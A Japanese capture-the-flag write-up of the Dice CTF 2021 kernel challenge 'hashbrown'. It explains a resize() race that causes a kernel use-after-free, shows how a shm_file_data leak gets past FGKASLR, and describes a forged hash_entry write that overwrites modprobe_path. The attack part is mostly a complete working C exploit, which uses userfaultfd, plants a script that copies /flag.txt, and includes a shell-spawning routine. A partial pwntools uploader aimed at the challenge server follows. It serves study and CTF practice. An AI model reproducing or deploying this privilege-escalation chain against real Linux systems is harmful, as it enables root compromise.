イントロ Link to this heading

いつぞや開催されたDice CTF 2021の kernel 問題: hashbrown。なんかパット見で SECCON20 の kvdb を思い出して吐きそうになった(あの問題、かなり brainfucking でトラウマ…)。まぁ結果として題材がハッシュマップを用いたデータ構造を使ってるっていうのと、結果として dungling-pointer が生まれるということくらい(あれ、結構同じか?)。 先に言うと、凄くいい問題でした。自分にとって知らないこと(FGKASLR とか)を新しく知ることもできたし、既に知っていることを考えて使う練習もできた問題でした。

static Link to this heading

basic Link to this heading

basic.sh
 1~ $ cat /proc/version
 2Linux version 5.11.0-rc3 (professor_stallman@i_use_arch_btw) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU 1
 3~ $ lsmod
 4hashbrown 16384 0 - Live 0x0000000000000000 (OE)
 5$ modinfo ./hashbrown.ko
 6filename:       /home/wataru/Documents/ctf/dice2020/hashbrown/work/./hashbrown.ko
 7license:        GPL
 8description:    Here's a hashbrown for everyone!
 9author:         FizzBuzz101
10depends:
11retpoline:      Y
12name:           hashbrown
13vermagic:       5.11.0-rc3 SMP mod_unload modversions
14
15exec qemu-system-x86_64 \
16    -m 128M \
17    -nographic \
18    -kernel "bzImage" \
19    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
20    -no-reboot \
21    -cpu qemu64,+smep,+smap \
22    -monitor /dev/null \
23    -initrd "initramfs.cpio" \
24    -smp 2 \
25    -smp cores=2 \
26    -smp threads=1

SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・FGKASLR有効・oops->panic・ダブルコア SMP スラブにはSLUBではなくSLABを利用していて、CONFIG_FREELIST_RANDOMCONFIG_FREELIST_HARDENED有効。

Module Link to this heading

モジュールhashbrownのソースコードが配布されている。ソースコードの配布はいつだって正義。配布しない場合はその理由を原稿用紙 12 枚分書いて一緒に配布する必要がある。 キャラクタデバイス /dev/hashbrown を登録し、 ioctl() のみを実装している。その挙動は典型的な hashmap の実装であり、author’s writeup によると JDK の実装を取ってきているらしい。ioctl()の概観は以下のとおり。

hashbrown_distributed.c
 1static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 2{
 3    long result;
 4    request_t request;
 5    uint32_t idx;
 6
 7    if (cmd == ADD_KEY)
 8    {
 9        if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
10        {
11            mutex_lock(&resize_lock);
12            result = resize((request_t *)arg);
13            mutex_unlock(&resize_lock);
14            return result;
15        }
16    }
17
18    mutex_lock(&operations_lock);
19    if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))
20    {
21        result = INVALID;
22    }
23    else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
24    {
25        result = MAXED;
26    }
27    else
28    {
29        idx = get_hash_idx(request.key, hashmap.size);
30        switch(cmd)
31        {
32            case ADD_KEY:
33                result = add_key(idx, request.key, request.size, request.src);
34                break;
35            case DELETE_KEY:
36                result = delete_key(idx, request.key);
37                break;
38            case UPDATE_VALUE:
39                result = update_value(idx, request.key, request.size, request.src);
40                break;
41            case DELETE_VALUE:
42                result = delete_value(idx, request.key);
43                break;
44            case GET_VALUE:
45                result = get_value(idx, request.key, request.size, request.dest);
46                break;
47            default:
48                result = INVALID;
49                break;
50        }
51    }
52    mutex_unlock(&operations_lock);
53    return result;
54}

データはstruct hashmap_t型の構造体で管理され、各エントリはstruct hash_entry型で表現される。

structs.c
1typedef struct
2{
3    uint32_t size;
4    uint32_t threshold;
5    uint32_t entry_count;
6    hash_entry **buckets;
7}hashmap_t;

bucketsの大きさはsizeだけあり、キーを新たに追加する際に現在存在しているキーの数がthresholdを上回っているとresize()が呼び出され、新たにbucketskzalloc()で確保される。古いbucketsからデータをすべてコピーした後、古いbucketskfree()される。このthresholdは、buckets が保持可能な最大要素数 x 3/4で計算される。各bucketsへのアクセスにはkeyの値から計算したインデックスを用いて行われ、このインデックスは容易に衝突するためhash_entryはリスト構造で要素を保持している。

FGKASLR Link to this heading

Finer/Function Granular KASLR。詳しくはLWN 参照。カーネルイメージ ELF に関数毎にセクションが作られ、それらがカーネルのロード時にランダマイズされて配置されるようになる。メインラインには載っていない。これによって、あるシンボルを leak することでベースとなるアドレスを計算することが難しくなる。

ex.sh
 1       0000000000000094  0000000000000000  AX       0     0     16
 2  [3507] .text.revert_cred PROGBITS         ffffffff8148e2b0  0068e2b0
 3       000000000000002f  0000000000000000  AX       0     0     16
 4  [3508] .text.abort_creds PROGBITS         ffffffff8148e2e0  0068e2e0
 5       000000000000001d  0000000000000000  AX       0     0     16
 6  [3509] .text.prepare_cre PROGBITS         ffffffff8148e300  0068e300
 7       0000000000000234  0000000000000000  AX       0     0     16
 8  [3510] .text.commit_cred PROGBITS         ffffffff8148e540  0068e540
 9       000000000000019c  0000000000000000  AX       0     0     16
10  [3511] .text.prepare_ker PROGBITS         ffffffff8148e6e0  0068e6e0
11       00000000000001ba  0000000000000000  AX       0     0     16
12  [3512] .text.exit_creds  PROGBITS         ffffffff8148e8a0  0068e8a0
13       0000000000000050  0000000000000000  AX       0     0     16
14  [3513] .text.cred_alloc_ PROGBITS         ffffffff8148e8f0  0068e8f0

なんか、こうまでするのって、凄いと思うと同時に、ちょっと引く…。

朗報として、従来の .text セクションに入っている一部の関数及び C 以外で記述された関数はランダマイズの対象外になる。また、データセクションにあるシンボルもランダマイズされないため、リークにはこういったシンボルを使う。詳しくは後述する。

Vuln: race to kUAF Link to this heading

モジュールは結構ちゃんとした実装になっている。だが、上のコード引用からも分かるとおり、ミューテックスを 2 つ利用していることが明らかに不自然。しかも、basicに書いたようにマルチコアで動いているためrace conditionであろうことが推測できる。そして、大抵の場合 race は CTF においてcopy_from_user()を呼び出すパスで起きることが多い(かなりメタ読みだが、そうすると uffd が使えるため)。 それを踏まえてresize()を見てみると、以下の順序でbucketsの resize を行っていることが分かる。

resize.txt
11. 新しいbucketsをkzalloc()
22. 古いbucketsの各要素を巡回し、各要素を新たにkzalloc()してコピー
33. 新たに追加する要素をkzalloc()して追加。古い要素が持ってるデータへのポインタを新しい要素にコピー。
44. 古いbucketsの要素を全てkfree()

ここで、手順 3 において新たに追加する要素の追加にcopy_from_user()が使われている。よって、userfaultfdによって一旦処理を 3 で停止させる。その間に、DELETE_VALUEによって値を削除する。すると、実際にその値はkfree()されるものの、ポインタが NULL クリアされるのは古い方のbucketsのみであり、新しい方のbucketsには削除されたポインタが残存することになる(dungling-pointer)。

hashbrown_distributed.c
 1static long delete_value(uint32_t idx, uint32_t key)
 2{
 3    hash_entry *temp;
 4    if (!hashmap.buckets[idx])
 5    {
 6        return NOT_EXISTS;
 7    }
 8    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
 9    {
10        if (temp->key == key)
11        {
12            if (!temp->value || !temp->size)
13            {
14                return NOT_EXISTS;
15            }
16            kfree(temp->value);
17            temp->value = NULL;
18            temp->size = 0;
19            return 0;
20        }
21    }
22    return NOT_EXISTS;
23}

上のhashmapは uffd によってresize()処理が停止されている間は古いbucketsを保持することになるから、UAF の成立である。

leak and bypass FGKASLR via shm_file_data Link to this heading

さて、上述した UAF を用いてまずは kernbase の leak をする。

なんで seq_operations じゃだめなのか Link to this heading

参考 4 において、kmalloc-32で利用できる構造体にshm_file_dataがある。これは以下のように定義される構造体である。

ipc/shm.c
1struct shm_file_data {
2	int id;
3	struct ipc_namespace *ns;
4	struct file *file;
5	const struct vm_operations_struct *vm_ops;
6};

メンバの内、nsvm_opsがデータセクションのアドレスを指している。また、fileはヒープアドレスを指している。共有メモリを alloc することで任意のタイミングで確保・ストックすることができ、kernbase も kernheap も leak できる優れものである。

とりわけ、vm_opsshmem_vm_opsを指している。shmem_vm_opsは以下で定義されるstruct vm_operations_struct型の静的変数である。

mm/shmem.c
1static const struct vm_operations_struct shmem_vm_ops = {
2	.fault		= shmem_fault,
3	.map_pages	= filemap_map_pages,
4#ifdef CONFIG_NUMA
5	.set_policy     = shmem_set_policy,
6	.get_policy     = shmem_get_policy,
7#endif
8};

shmatの呼び出しによって呼ばれるshm_mmap()の内部で以下のように代入される。

ipc/shm.c
 1static int shm_mmap(struct file *file, struct vm_area_struct *vma)
 2{
 3	struct shm_file_data *sfd = shm_file_data(file);
 4    (snipped...)
 5	sfd->vm_ops = vma->vm_ops;
 6#ifdef CONFIG_MMU
 7	WARN_ON(!sfd->vm_ops->fault);
 8#endif
 9	vma->vm_ops = &shm_vm_ops;
10	return 0;
11}

参考までに、以下が上のコードまでの backtrace。(v5.9.11)

bt.sh
1#0  shm_mmap (file=<optimized out>, vma=0xffff88800e4710c0) at ipc/shm.c:508
2#1  0xffffffff8118c5c6 in call_mmap (vma=<optimized out>, file=<optimized out>) at ./include/linux/fs.h:1887
3#2  mmap_region (file=<optimized out>, addr=140174097555456, len=<optimized out>, vm_flags=<optimized out>, pgoff=<optimized out>, uf=<optimized out>) at mm/mmap.c:1773
4#3  0xffffffff8118cb9e in do_mmap (file=0xffff88800e42a600, addr=<optimized out>, len=4096, prot=2, flags=1, pgoff=<optimized out>, populate=0xffffc90000157ee8, uf=0x0) at mm/mmap.c:1545
5#4  0xffffffff81325012 in do_shmat (shmid=1, shmaddr=<optimized out>, shmflg=0, raddr=<optimized out>, shmlba=<optimized out>) at ipc/shm.c:1559
6#5  0xffffffff813250be in __do_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1594
7#6  __se_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1589
8#7  __x64_sys_shmat (regs=<optimized out>) at ipc/shm.c:1589
9#8  0xffffffff81a3feb3 in do_syscall_64 (nr=<optimized out>, regs=0xffffc90000157f58) at arch/x86/entry/common.c:46

kmalloc-32で使える構造体であれば、seq_operationsもあると書いてある が、これらのポインタは FGKASLR の影響を受ける。実際、single_start()等の関数のためにセクションが設けられていることが分かる。

readelf.txt
1  [11877] .text.single_star PROGBITS         ffffffff81669b30  00869b30
2       000000000000000f  0000000000000000  AX       0     0     16
3  [11878] .text.single_next PROGBITS         ffffffff81669b40  00869b40
4       000000000000000c  0000000000000000  AX       0     0     16
5  [11879] .text.single_stop PROGBITS         ffffffff81669b50  00869b50
6       0000000000000006  0000000000000000  AX       0     0     16

よって、kernbaseの leak にはこういった関数ポインタではなく、データ領域を指しているshm_file_data等を使うことが望ましい。

leak Link to this heading

といわけで、uffd を使って race を安定化させつつshm_file_dataで kernbase をリークしていく。 まずはbucketsが拡張される直前までkeyを追加していく。最初のthreshold0x10 x 3/4 = 0xc回であるから、その分だけadd_key()。それが終わったら uffd を設定したページからさらにadd_key()を行い、フォルトの発生中にdelete_value()して要素を解放したら UAF の完成。以下のように leak ができる。

leak shmem_vm_ops

leak shmem_vm_ops

因みに Link to this heading

uffd ハンドラの中でmmap()するのって、root じゃないとダメなんだっけ?以下のコードは root でやると上手く動いたけど、root じゃないとmmap()で-1 が返ってきちゃった。後で調べる。

fail.c
1    void *srcpage = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
2    printf("[+] mmapped @ %p\n", srcpage);
3    uffdio_copy.src = (ulong)srcpage;
4    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
5    uffdio_copy.len = PAGE;
6    uffdio_copy.mode = 0;
7    uffdio_copy.copy = 0;
8    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
9      errExit("ioctl-UFFDIO_COPY");

【追記 20200215】これ、単純にアドレス 0x0 に対してMAP_FIXEDにしてるからだわ。

AAW Link to this heading

principle Link to this heading

さて、ここまでで kernbase の leak ができている。次は AAW が欲しい。あと 50 兆円欲しい。 本モジュールには、既に存在しているhash_entryの値を更新するupdate_valueという操作がある。

update_value.c
 1static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src)
 2{
 3    hash_entry *temp;
 4    char *temp_data;
 5
 6    if (size < 1 || size > MAX_VALUE_SIZE)
 7    {
 8        return INVALID;
 9    }
10    if (!hashmap.buckets[idx])
11    {
12        return NOT_EXISTS;
13    }
14
15    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
16    {
17        if (temp->key == key)
18        {
19            if (temp->size != size)
20            {
21                if (temp->value)
22                {
23                    kfree(temp->value);
24                }
25                temp->value = NULL;
26                temp->size = 0;
27                temp_data = kzalloc(size, GFP_KERNEL);
28                if (!temp_data || copy_from_user(temp_data, src, size))
29                {
30                    return INVALID;
31                }
32                temp->size = size;
33                temp->value = temp_data;
34            }
35            else
36            {
37                if (copy_from_user(temp->value, src, size))
38                {
39                    return INVALID;
40                }
41            }
42            return 0;
43        }
44    }
45    return NOT_EXISTS;
46}

この中のif (copy_from_user(temp->value, src, size))の部分で、仮にtemp->valueの保持するアドレスが不正に書き換えられるとすると AAW になる。このtempstruct hash_entry型であり、このサイズはkmalloc-32である。よって、先程までと全く同じ方法で kUAF を起こし、tempの中身を自由に操作することができる。 因みに、leak したあとすぐに再びthreshold分だけadd_key()してresize()を呼ばせて、kUAF を起こし、そのあとすぐにadd_key()して目的の object を手に入れようとしたが手に入らなくて"???“になった。だが、よくよく考えたらdelete_value()で kUAF を引き起こした後に、古いbucketsの解放が起こるためスラブにはどんどんオブジェクトが蓄積していってしまう。よって、その状態で目的の kUAF されたオブジェクトを手に入ろうとしてもすぐには手に入らない。解決方法は単純で、削除したはずの要素からget_value()し続けて、それが今まで入っていた値と異なる瞬間が来たら、その object が新たにhash_entryとして alloc されたことになる。

find-my-object.c
 1  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
 2    memset(buf, 'A', 0x20);
 3    add_key(hashfd, ix, 0x20, buf);
 4    get_value(hashfd, targetkey, 0x20, buf);
 5    if(((uint*)buf)[0] != 0x41414141){
 6      printf("[!] GOT kUAFed object!\n");;
 7      printf("[!] %lx\n", ((ulong*)buf)[0]);
 8      printf("[!] %lx\n", ((ulong*)buf)[1]);
 9      printf("[!] %lx\n", ((ulong*)buf)[2]);
10      printf("[!] %lx\n", ((ulong*)buf)[3]);
11      break;
12    }
13  }

overwrite modprobe_path Link to this heading

今回は SMAP/SMEP 有効だから、ユーザランドのシェルコードを実行させるということはできない。かといって ROP を組もうにも、FGKASLR が有効であるからガジェットの位置が定まらない。こんなときは、定番のmodprobe_pathの書き換えを行う。modprobe_pathはデータセクションにあるため FGKASLR の影響を受ける心配もない。 以下の感じで、ぷいぷいもるかー。

modprobe_path_nirugiri.c
1  // trigger modprobe_path
2  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
3  system("chmod +x /home/ctf/nirugiri.sh");
4  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
5  system("chmod +x /home/ctf/puipui-molcar");
6  system("/home/ctf/puipui-molcar");
7
8  // NIRUGIRI it
9  system("cat /home/ctf/flag.txt");

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29#include <sys/shm.h>
 30
 31
 32// commands
 33#define DEV_PATH "/dev/hashbrown"   // the path the device is placed
 34
 35// constants
 36#define PAGE 0x1000
 37#define FAULT_ADDR 0xdead0000
 38#define FAULT_OFFSET PAGE
 39#define MMAP_SIZE 4*PAGE
 40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 41// (END constants)
 42
 43
 44// utils
 45#define WAIT getc(stdin);
 46#define ulong unsigned long
 47#define scu static const unsigned long
 48#define NULL (void*)0
 49#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 50                        } while (0)
 51#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 52                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 53ulong user_cs,user_ss,user_sp,user_rflags;
 54struct pt_regs {
 55	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 56	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 57	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 58	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 59  ulong sp; ulong ss;
 60};
 61void print_regs(struct pt_regs *regs)
 62{
 63  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 64  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 65  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 66  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 67  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 68}
 69void NIRUGIRI(void)
 70{
 71  char *argv[] = {"/bin/sh",NULL};
 72  char *envp[] = {NULL};
 73  execve("/bin/sh",argv,envp);
 74}
 75// should compile with -masm=intel
 76static void save_state(void) {
 77  asm(
 78      "movq %0, %%cs\n"
 79      "movq %1, %%ss\n"
 80      "movq %2, %%rsp\n"
 81      "pushfq\n"
 82      "popq %3\n"
 83      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 84}
 85
 86static void shellcode(void){
 87  asm(
 88    "xor rdi, rdi\n"
 89    "mov rbx, QWORD PTR [rsp+0x50]\n"
 90    "sub rbx, 0x244566\n"
 91    "mov rcx, rbx\n"
 92    "call rcx\n"
 93    "mov rdi, rax\n"
 94    "sub rbx, 0x470\n"
 95    "call rbx\n"
 96    "add rsp, 0x20\n"
 97    "pop rbx\n"
 98    "pop r12\n"
 99    "pop r13\n"
100    "pop r14\n"
101    "pop r15\n"
102    "pop rbp\n"
103    "ret\n"
104  );
105}
106// (END utils)
107
108// consts
109#define SIZE_ARR_START 0x10
110
111// globals
112#define STATE_LEAK 0
113#define STATE_UAF 1
114#define STATE_INVALID 99
115void *uffdaddr = NULL;
116pthread_t uffdthr; // ID of thread that handles page fault and continue exploit in another kernel thread
117int hashfd = -1;
118uint STATUS = STATE_LEAK;
119uint targetkey = SIZE_ARR_START * 3 / 4 - 1;
120uint limit = SIZE_ARR_START;
121uint threshold = SIZE_ARR_START * 3/ 4;
122char *faultsrc = NULL;
123// (END globals)
124
125/*** hashbrown ****/
126// commands
127#define ADD_KEY 0x1337
128#define DELETE_KEY 0x1338
129#define UPDATE_VALUE 0x1339
130#define DELETE_VALUE 0x133a
131#define GET_VALUE 0x133b
132// returns
133#define INVALID 1
134#define EXISTS 2
135#define NOT_EXISTS 3
136#define MAXED 4
137
138// structs
139typedef struct{
140    uint32_t key;
141    uint32_t size;
142    char *src;
143    char *dest;
144}request_t;
145struct hash_entry{
146    uint32_t key;
147    uint32_t size;
148    char *value;
149    struct hash_entry *next;
150};
151typedef struct
152{
153    uint32_t size;
154    uint32_t threshold;
155    uint32_t entry_count;
156    struct hash_entry **buckets;
157}hashmap_t;
158uint get_hash_idx(uint key, uint size)
159{
160    uint hash;
161    key ^= (key >> 20) ^ (key >> 12);
162    hash = key ^ (key >> 7) ^ (key >> 4);
163    return hash & (size - 1);
164}
165
166// wrappers
167void add_key(int fd, uint key, uint size, char *data){
168  printf("[+] add_key: %d %d %p\n", key, size, data);
169  request_t req = {
170    .key = key,
171    .size = size,
172    .src = data
173  };
174  long ret = ioctl(fd, ADD_KEY, &req);
175  assert(ret != INVALID && ret != EXISTS);
176}
177void delete_key(int fd, uint key){
178  printf("[+] delete_key: %d\n", key);
179  request_t req = {
180    .key = key
181  };
182  long ret = ioctl(fd, DELETE_KEY, &req);
183  assert(ret != NOT_EXISTS && ret != INVALID);
184}
185void update_value(int fd, uint key, uint size, char *data){
186  printf("[+] update_value: %d %d %p\n", key, size, data);
187  request_t req = {
188    .key = key,
189    .size = size,
190    .src = data
191  };
192  long ret = ioctl(fd, UPDATE_VALUE, &req);
193  assert(ret != INVALID && ret != NOT_EXISTS);
194}
195void delete_value(int fd, uint key){
196  printf("[+] delete_value: %d\n", key);
197  request_t req = {
198    .key = key,
199  };
200  long ret = ioctl(fd, DELETE_VALUE, &req);
201  assert(ret != NOT_EXISTS);
202}
203void get_value(int fd, uint key, uint size, char *buf){
204  printf("[+] get_value: %d %d %p\n", key, size, buf);
205  request_t req = {
206    .key = key,
207    .size = size,
208    .dest = buf
209  };
210  long ret = ioctl(fd, GET_VALUE, &req);
211  assert(ret != NOT_EXISTS && ret != INVALID);
212}
213
214/**** (END hashbrown) ****/
215
216// userfaultfd-utils
217static void* fault_handler_thread(void *arg)
218{
219  puts("[+] entered fault_handler_thread");
220
221  static struct uffd_msg msg;   // data read from userfaultfd
222  struct uffdio_copy uffdio_copy;
223  long uffd = (long)arg;        // userfaultfd file descriptor
224  struct pollfd pollfd;         //
225  int nready;                   // number of polled events
226  int shmid;
227  void *shmaddr;
228
229  // set poll information
230  pollfd.fd = uffd;
231  pollfd.events = POLLIN;
232
233  // wait for poll
234  puts("[+] polling...");
235  while(poll(&pollfd, 1, -1) > 0){
236    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
237      errExit("poll");
238
239    // read an event
240    if(read(uffd, &msg, sizeof(msg)) == 0)
241      errExit("read");
242
243    if(msg.event != UFFD_EVENT_PAGEFAULT)
244      errExit("unexpected pagefault");
245
246    printf("[!] page fault: 0x%llx\n",msg.arg.pagefault.address);
247
248    // Now, another thread is halting. Do my business.
249    switch(STATUS){
250      case STATE_LEAK:
251        if((shmid = shmget(IPC_PRIVATE, PAGE, 0600)) < 0)
252          errExit("shmget");
253        delete_value(hashfd, targetkey);
254        if((shmaddr = shmat(shmid, NULL, 0)) < 0)
255          errExit("shmat");
256        STATUS = STATE_UAF;
257        break;
258      case STATE_UAF:
259        delete_value(hashfd, targetkey);
260        STATUS = STATE_INVALID;
261        break;
262      default:
263        errExit("unknown status");
264    }
265
266    printf("[+] uffdio_copy.src: %p\n", faultsrc);
267    uffdio_copy.src = (ulong)faultsrc;
268    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
269    uffdio_copy.len = PAGE;
270    uffdio_copy.mode = 0;
271    uffdio_copy.copy = 0;
272    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
273      errExit("ioctl-UFFDIO_COPY");
274    else{
275      puts("[+] end ioctl(UFFDIO_COPY)");
276    }
277
278    break;
279  }
280
281  puts("[+] exiting fault_handler_thrd");
282}
283
284pthread_t register_userfaultfd_and_halt(void)
285{
286  puts("[+] registering userfaultfd...");
287
288  long uffd;      // userfaultfd file descriptor
289  struct uffdio_api uffdio_api;
290  struct uffdio_register uffdio_register;
291  int s;
292
293  // create userfaultfd file descriptor
294  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
295  if(uffd == -1)
296    errExit("userfaultfd");
297
298  // enable uffd object via ioctl(UFFDIO_API)
299  uffdio_api.api = UFFD_API;
300  uffdio_api.features = 0;
301  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
302    errExit("ioctl-UFFDIO_API");
303
304  // mmap
305  puts("[+] mmapping...");
306  uffdaddr = mmap((void*)FAULT_ADDR, PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
307  printf("[+] mmapped @ %p\n", uffdaddr);
308  if(uffdaddr == MAP_FAILED)
309    errExit("mmap");
310
311  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
312  uffdio_register.range.start = (ulong)uffdaddr;
313  uffdio_register.range.len = PAGE;
314  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
315  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
316    errExit("ioctl-UFFDIO_REGISTER");
317
318  s = pthread_create(&uffdthr, NULL, fault_handler_thread, (void*)uffd);
319  if(s!=0){
320    errno = s;
321    errExit("pthread_create");
322  }
323
324  puts("[+] registered userfaultfd");
325  return uffdthr;
326}
327// (END userfaultfd-utils)
328
329/******** MAIN ******************/
330
331int main(int argc, char *argv[]) {
332  char buf[0x200];
333  faultsrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
334  memset(buf, 0, 0x200);
335  hashfd = open(DEV_PATH, O_RDONLY);
336  assert(hashfd > 0);
337
338  // race-1: leak via shm_file_data
339  for(int ix=0; ix!=threshold; ++ix){
340    add_key(hashfd, ix, 0x20, buf);
341  }
342  register_userfaultfd_and_halt();
343  add_key(hashfd, threshold, 0x20, uffdaddr);
344  limit <<= 2;
345  threshold = limit * 3 / 4;
346  pthread_join(uffdthr, 0);
347
348  // leak kernbase
349  get_value(hashfd, targetkey, 0x20, buf);
350  printf("[!] %lx\n", ((ulong*)buf)[0]);
351  printf("[!] %lx\n", ((ulong*)buf)[1]);
352  printf("[!] %lx\n", ((ulong*)buf)[2]);
353  printf("[!] %lx: shmem_vm_ops\n", ((ulong*)buf)[3]);
354  const ulong shmem_vm_ops = ((ulong*)buf)[3];
355  const ulong kernbase = shmem_vm_ops - ((ulong)0xffffffff8b622b80 - (ulong)0xffffffff8ae00000);
356  const ulong modprobe_path = kernbase + ((ulong)0xffffffffb0c46fe0 - (ulong)0xffffffffb0200000);
357  printf("[!] kernbase: 0x%lx\n", kernbase);
358  printf("[!] modprobe_path: 0x%lx\n", modprobe_path);
359
360  // race-2: retrieve hash_entry as value
361  targetkey = threshold - 1;
362  memset(buf, 'A', 0x20);
363  for(int ix=SIZE_ARR_START * 3/4 + 1; ix!=threshold; ++ix){
364    add_key(hashfd, ix, 0x20, buf);
365  }
366  register_userfaultfd_and_halt();
367  add_key(hashfd, threshold, 0x20, uffdaddr);
368  pthread_join(uffdthr, 0);
369  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
370    memset(buf, 'A', 0x20);
371    add_key(hashfd, ix, 0x20, buf);
372    get_value(hashfd, targetkey, 0x20, buf);
373    if(((uint*)buf)[0] != 0x41414141){
374      printf("[!] GOT kUAFed object!\n");;
375      printf("[!] %lx\n", ((ulong*)buf)[0]);
376      printf("[!] %lx\n", ((ulong*)buf)[1]);
377      printf("[!] %lx\n", ((ulong*)buf)[2]);
378      printf("[!] %lx\n", ((ulong*)buf)[3]);
379      break;
380    }
381  }
382
383  // forge hash_entry as data and overwrite modprobe_path
384  struct hash_entry victim = {
385    .key = ((uint*)buf)[0],
386    .size = ((uint*)buf)[1],
387    .value = modprobe_path,
388    .next = NULL
389  };
390  update_value(hashfd, targetkey, 0x20, &victim);
391  update_value(hashfd, ((uint*)buf)[0], 0x20, "/home/ctf/nirugiri.sh\x00\x00\x00\x00");
392
393  // trigger modprobe_path
394  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
395  system("chmod +x /home/ctf/nirugiri.sh");
396  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
397  system("chmod +x /home/ctf/puipui-molcar");
398  system("/home/ctf/puipui-molcar");
399
400  // NIRUGIRI it
401  system("cat /home/ctf/flag.txt");
402
403  return 0;
404}

今回はまだ問題サーバが生きていたから sender も。

sender.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./exploit"
 8LIBCNAME = ""
 9
10hosts = ("dicec.tf","localhost","localhost")
11ports = (31691,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge():
23  global c
24  pass
25
26## exploit ###########################################
27
28def exploit():
29  c.recvuntil("Send the output of: ")
30  hashcat = c.recvline().rstrip().decode('utf-8')
31  print("[+] calculating PoW...")
32  hash_res = os.popen(hashcat).read()
33  print("[+] finished calc hash: " + hash_res)
34  c.sendline(hash_res)
35
36  with open("./exploit.b64", 'r') as f:
37    binary = f.read()
38
39  progress = 0
40  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
41  for s in [binary[i: i+0x80] for i in range(0, len(binary), 0x80)]:
42    c.sendlineafter('$', 'echo {} >> exploit.b64'.format(s))
43    progress += 0x80
44    if progress % 0x1000 == 0:
45      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(len(binary))))
46  c.sendlineafter('$', 'base64 -d exploit.b64 > exploit')
47
48
49
50## main ##############################################
51
52if __name__ == "__main__":
53    global c
54
55    if len(sys.argv)>1:
56      if sys.argv[1][0]=="d":
